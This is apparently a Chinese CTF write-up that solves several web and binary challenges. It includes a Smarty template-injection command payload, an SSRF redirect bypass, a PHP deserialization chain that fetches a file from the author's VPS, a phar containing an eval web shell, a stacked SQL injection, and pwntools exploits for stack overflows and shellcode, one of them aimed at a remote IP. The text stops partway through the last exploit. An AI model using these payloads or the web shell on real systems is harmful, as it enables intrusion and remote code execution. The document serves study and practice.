考点
思路
根据提示输入GET参数得到源码.发现为smarty模板注入
payload: ?name={if passthru ('nl fl*')}{/if}
★
Website
考点
思路
一开始尝试dict、file、gopher等协议,发现都被禁用了
但是可以访问其他主机,就想到用302跳转去bypass
在vps上开个web服务,内容如下
再用题目访问vps,可以看到是成功访问的
接着去读取apache的配置文件
在最后面可以看到有两个web服务,监听了80和8080
分别读取源码
80: web1/index.php
error_reporting(0);
function check_302($url)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 302 redirect
curl_exec($ch);
$info = curl_getinfo($ch);
curl_close($ch);
return $info['url'];
}
if (isset($_GET['url'])) {
$url = $_GET['url'];
if (strpos($url, 'http://127.0.0.1/') === 0 || strpos($url, 'http://localhost/') === 0) {
exit("
}
if (!preg_match('/^(http|https):\/\/[_a-zA-Z0-9-]+(.[_a-zA-Z0-9-]+)*/i', $url)) {
exit("");
}
$url = check_302($url);
echo $url;
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
echo "" . $result . "";
} else {
echo "Hello";
}
?>
8080: web2/index.php
class copy_file{
public $path = 'upload/';
public $file;
public $url;
function __destruct(){
if(strpos($this - url,'http://127.0.0.1') === 0){
file_put_contents($this -> path.$this -> file, file_get_contents($this -> url));
echo $this -> path.$this -> file." update successed!)";
}else{
echo "Hello CTFer";
}
}
}
if(isset($_GET['data'])){
$data = $_GET['data'];
unserialize($data);
}else{
echo "Welcome to CloverSec WebSite";
}
?>
然后就是反序列化了,在vps上写好代码
用下面的序列化
class copy_file{
public $path='upload/';
public $file='1.php';
public $url='http://[email protected]:20003/1.txt';
}
$a = new copy_file();
echo serialize($a);
按照如下方式传参,上传代码
![](http://mmbiz.qpic.cn/mmbiz_png/VfLUYJEMVsiazwEic9oJ6mm5y4LB0h6c5M9cfq2iaff5ccFYcgCy8dk6zOrBAicWY6giaq9EXCt3egkXeDSr5Uic9j3w/640?wx_fmt=png)
再去访问即可看到结果
http://127.0.0.1:8080/upload/1.php
★
file manager
考点
思路
题目有四个功能,分别是文件上传,创建文件,删除文件和列举目录
经过一番尝试,发现文件上传只能上传图片,但是看到删除文件的功能,就想到unlink函数可以触发phar,并且code.html给了类
那就生成phar改一下名字,再用phar伪协议触发即可
由于文件上传的代码不允许php存在上传文件中,就用=绕过即可
class game
{
public $file_name="shell.php";
public $content = "=eval($_POST['cmd']);?>";
}
$a = new game();
$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a');
$phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();
上传后在删除文件处,删除框内填phar://./sandbox/a.png即可触发反序列化
★
StAck3d 1nj3c
原题 [SUCTF 2019]EasySQL
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
★问卷调查
填完给flag
ida:
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v4;
__uid_t v5;
void *v6;
v6 = malloc(0x200u);
bzero(v6, 4u);
read(0, v6, 0x1F4u);
v5 = geteuid();
setresuid(v5, v5, v5);
printf("shell function = %p\n", shell);
vuln((char *)v6, v4);
return 0;
}
--------------------------------------------------
char *__cdecl vuln(char *a1, const char *a2)
{
int v3;
return strcpy((char *)&v3, a2);
from pwn import *
context.log_level='debug'
p=process('./pwn1')
elf=ELF('./pwn1')
main_addr=0x080485AB
p.sendline("a"*(0x48+0x4)+p32(0x0804856D))
p.interactive()
★PWN2
ida:
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf[2];
buf[1] = (void *)__readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("welcome to Xian: ");
read(0, BUF, 0x30uLL);
puts("Dou you know the hzwz?");
scanf("%llu", buf);
printf("Yes you know: ");
read(0, buf[0], 8uLL);
puts("Finish!");
printf("Good bye %s!\n", BUF);
return 0;
}
思路
这题开了canary保护,没有开NX保护。看第九行,我们向bss段的buf中输入0x30(这不刚好是shellcode 的长度吗,疯狂暗示。)
所以这题的就是往buf中写入一个shellcode,想办法去执行它。
怎么去执行呢?因为没有开pie保护,我们直接改printf_plt中值为buf的地址(shellcode所在的地方)即可,然后当执行到 printf("buybuy") 的时候 实际 就会跳转到 buf地址那里
exp:
from pwn import *
context(arch='amd64', os='linux', log_level = 'DEBUG')
p=remote("129.226.4.186",10001)
elf=ELF('./pwn2')
shellcode=asm(shellcraft.sh())
print len(shellcode)
p.recvuntil("welcome to Xian: \n")
p.sendline(shellcode)
p.recvuntil("Dou you know the hzwz?\n")
pd=str(0x601028)
p.sendline(pd)
p.recvuntil("Yes you know: ")
bss_buf=0x601080
pd=p64(bss_buf)
p.sendline(pd)
p.interactive()
★
pwn3
ida:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[16];
char buf[24];
_QWORD *v6;
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts("happy new year!");
printf("plz input something: ");
read(0, buf, 0x10uLL);
v6 = (_QWORD *)strtoll(buf, 0LL, 16);
printf("\nsomething: %lld\n", *v6);
printf("Show me your code: ");
read(0, v4, 0x90uLL);
return 0;
}
思路
程序中有一个 strtoll函数,我们输入字符串首先转成16进制存入v6中然后在13行又进行了格式化输出。
这里我们可以用来leak libc,进而得到 system_addr,binsh_addr,因为是64位程序。
我们还需要用ropper去找一下 pop_rdi_ret的gadgets。最后利用栈溢出漏洞去getshell。
ropper --file ./pwn3 --search "pop|ret" | grep rdi
exp:
from pwn import *
context.log_level='debug'
p=process('./pwn3')
p=remote("129.226.4.186",10002)
elf=ELF('./pwn3')
libc=elf.libc